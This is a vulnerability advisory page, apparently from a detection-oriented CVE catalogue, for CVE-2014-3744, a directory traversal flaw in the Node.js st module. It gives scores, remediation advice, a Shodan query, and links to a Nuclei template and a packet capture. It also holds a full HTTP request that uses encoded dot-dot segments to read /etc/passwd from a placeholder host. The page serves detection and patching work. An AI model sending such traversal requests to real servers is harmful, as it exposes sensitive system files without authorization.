🔙 목록으로 돌아가기

CVE-2014-3744: Node.js st module Directory Traversal

TitleNode.js st module Directory Traversal
Authorgeeknik
SeverityHigh
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
RemediationUpgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
CVSS Score7.5
EPSS Score0.5516
CVE IDCVE-2014-3744
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:a:nodejs:node.js"
Tags cve2014 cve lfi nodejs st vuln

🔍 Vulnerability Description

A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.

🌐 HTTP Request

GET /public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3744.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-3744.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A